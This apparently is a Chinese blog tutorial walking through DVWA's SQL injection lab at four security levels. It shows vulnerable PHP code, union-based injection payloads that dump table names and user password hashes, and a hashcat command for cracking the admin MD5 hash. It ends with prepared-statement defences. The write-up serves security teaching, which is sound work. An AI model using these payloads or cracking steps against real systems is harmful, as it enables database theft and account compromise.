dvwa-SQL-injection

SQL Inject中文叫做SQL注入,是发生在web端的安全漏洞,主要是实现非法操作,例如欺骗服务器执行非法查询,属于注入攻击的一种

简单来说就是通过web表单把SQL命令提交到数据库,由于管理员没有细致的过滤用户输入的数据,造成字符串拼接,进而恶意的SQL语句被执行,造成数据库信息泄露、网页篡改、数据库被恶意操作等后果。

开始

SQL Injection分类:

  • 从注入参数类型分类:数字型注入、字符型注入、搜索型注入
  • 从注入方法分:报错注入、布尔盲注、时间盲注、联合查询注入、堆叠注入、内联查询注入、宽字节注入
  • 从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入

low

请求页面

1692026676570

http请求

1
2
3
4
5
6
7
8
9
10
11
12
GET /vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1
Host: localhost:4280
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:4280/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=6058ace1f2f087663ecfbc8858534749
Upgrade-Insecure-Requests: 1


响应页面

给它输入个 1试试,哎,上钩了!是有回显的。
1692026772071
话不多说,直接看题

源码

源码太长了,直接贴关键的吧,可以说是没有丝毫过滤,页面回显

1
2
3
4
5
6
7
8
9
$id = $_REQUEST[ 'id' ]

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
while( $row = mysqli_fetch_assoc( $result ) ) {
// 页面回显
$first = $row["first_name"];
$last = $row["last_name"];
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

攻击思路

假装我们没有看过源码,纯手工一步步来,增加学习印象

  1. 判断注入类型
    由于输入的数据 id 是数字,我们并不知道服务器将 id 的值认为是字符还是数字,因此我们需要先来判断是数字型注入还是字符型注入(虽然从源码看得出来)。当输入的参数为字符串时就称该 SQL 注入为字符型,当输入的参数为数字时就称该 SQL 注入为数字型。字符型和数字型最大的一个区别在于数字型不需要单引号来闭合,而字符型需要通过单引号来闭合。
  • 输入 1‘ ,出现回显 Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
    说明是字符型注入
  1. 判断回显列数(”#”在SQL中表示行内注释)
  • 联合查询,依次输入 1' union select 1# 1' union select 1,2# 1' union select 1#
    查看回显,发现只有 1' union select 1,2#回显正常,说明回显只有两个字段。说明还可以联合注入
  1. 获取其他信息
  • 查询数据库名。输入 1' union SELECT DATABASE(),VERSION()#

1692090066161
当前数据库dvwa
数据库版本10.11.4-MariaDB
MariaDB是MySQL的一个分支,完全兼容,并且版本号大于5.0,就能利用 information_schema数据库查询更多信息

  • 查询表名。输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'# “group_concat()”函数返回一个字符串结果,该结果由分组中的值连接组合而成。

1692090682710
dvwa数据库有2张表 guestbook users

  • 查询字段(列名)。输入 1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
    1692092930950
    字段为 user_id,first_name,last_name,user,password,avatar,last_login,failed_login
  • 查询用户名密码。输入 'union select group_concat(user separator "\n"),group_concat(password separator "\n") from users #
    1692094237026
    看到密码并非是明文,32位字符16个字节,考虑是md5值
  • 解密admin的密码 5f4dcc3b5aa765d61d8327deb882cf99
    1. md5在线网站
    2. kali命令字典爆破 hashcat -a 0 -m 0 5f4dcc3b5aa765d61d8327deb882cf99 /usr/share/wordlists/metasploit/default_pass_for_services_unhash.txt

medium

请求页面

1692098320586

http请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /vulnerabilities/sqli/ HTTP/1.1
Host: localhost:4280
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://localhost:4280
Connection: close
Referer: http://localhost:4280/vulnerabilities/sqli/
Cookie: security=medium; PHPSESSID=6058ace1f2f087663ecfbc8858534749
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit

响应页面

1692098433045

源码

源码如下,源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00、\n、\r、\、’、” 和 \x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

攻击思路

POST请求 ,我们用Burp抓包处理

  1. 判断注入类型。可以知道是数字型注入
  2. 判断回显。同样是回显2列
  3. 获取其他信息。(跟low级别一样,不过注入语句需要去掉单引号)

high

请求页面

点击 here to chang you ID,会弹框,索性一块整上
1692105076889

http请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /vulnerabilities/sqli/session-input.php HTTP/1.1
Host: localhost:4280
Content-Length: 18
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost:4280
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:4280/vulnerabilities/sqli/session-input.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=18803c9408dc8d6e81a36d2e36a00d63; security=high
Connection: close

id=1&Submit=Submit

响应页面

1692105332882

源码

只是在low的级别后面进行了 LIMIT 1限制回显个数

1
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

攻击思路

直接复用low级别的注入语句的话,我看也没什么问题,因为“#”直接注释掉了“LIMIT 1”,试一下真的是一样
1692105941841


值得注意的是,这里查询内容提交和结果显示使用不同页面显示的防御功能,需要特别提到的是,这样做是为了防止注入工具例如 sqlmap 注入。因为 sqlmap 在注入过程中无法在查询提交页面上获取查询的结果,因此收不到任何反馈,也就没办法进一步注入。但是,这种情况在Firefox上是的,但是在Chrome内核的浏览器不是。在Edge、Chrome上页面提交和页面显示还是在同一个页面上。


impossible

源码

1
2
3
4
5
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂。实现了查询语句中的数据与命令相分离。

总结

SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。
当我们进行手工 SQL 注入时,往往是采取以下几个步骤:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数;
  3. 获取当前数据库;
  4. 获取数据库中的表;
  5. 获取表中的字段名;

当开发者需要防御 SQL 注入攻击时,可以采用以下方法。

  1. 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
  2. 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。

dvwa-SQL-injection
http://blog.lingyuanming.site/2022/06/05/dvwa-SQL-injection/
作者
LYM
发布于
2022年6月5日
许可协议